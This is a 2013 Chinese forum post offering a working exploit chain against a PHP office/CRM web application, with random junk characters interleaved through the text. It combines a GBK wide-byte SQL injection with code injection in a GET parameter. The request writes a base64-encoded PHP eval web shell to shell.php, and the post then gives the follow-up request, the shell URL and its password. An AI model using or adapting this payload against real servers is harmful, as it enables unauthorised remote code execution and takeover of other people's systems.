此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了./ ^ m7 K; ~2 _, J
7 Z A8 `% M* ^/ W, w9 ~+ t) Y
; R/ i! J( N: Q4 t7 e( F. D& R; q6 yEXP：
8 B% X d' h2 O9 e+ @ y, _1 e
6 i1 e$ v. e( v5 z$ Q+ | _( c第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
7 m. N; O w6 T1 q0 s) N" H& r ) `- e0 c8 P" G# @' b9 I1 O
第二步: [GET]http://site/general/email/index.php3 i% `; S% |' F" S
" }4 x8 a, n% u C4 ^1 a" ySHELL: http://site/general/email/shell.php 密码C# o8 ]$ t& N( d8 c. F/ W- h
7 C( a( L' }( V3 z+ z, Y* _# l8 [2 @
5 ^ W3 q( c9 S; U- W此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好
# L, \# b& ?( N / O( R6 m$ E8 j6 J" m. l
有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~
4 h* {/ y4 M$ r5 @2 ]$ ?+ e$ d/ P" s
; H; O6 ~# @' T; M; a& O' u" r1 x |
发表于 2013-2-4 16:19:29
收藏
支持
反对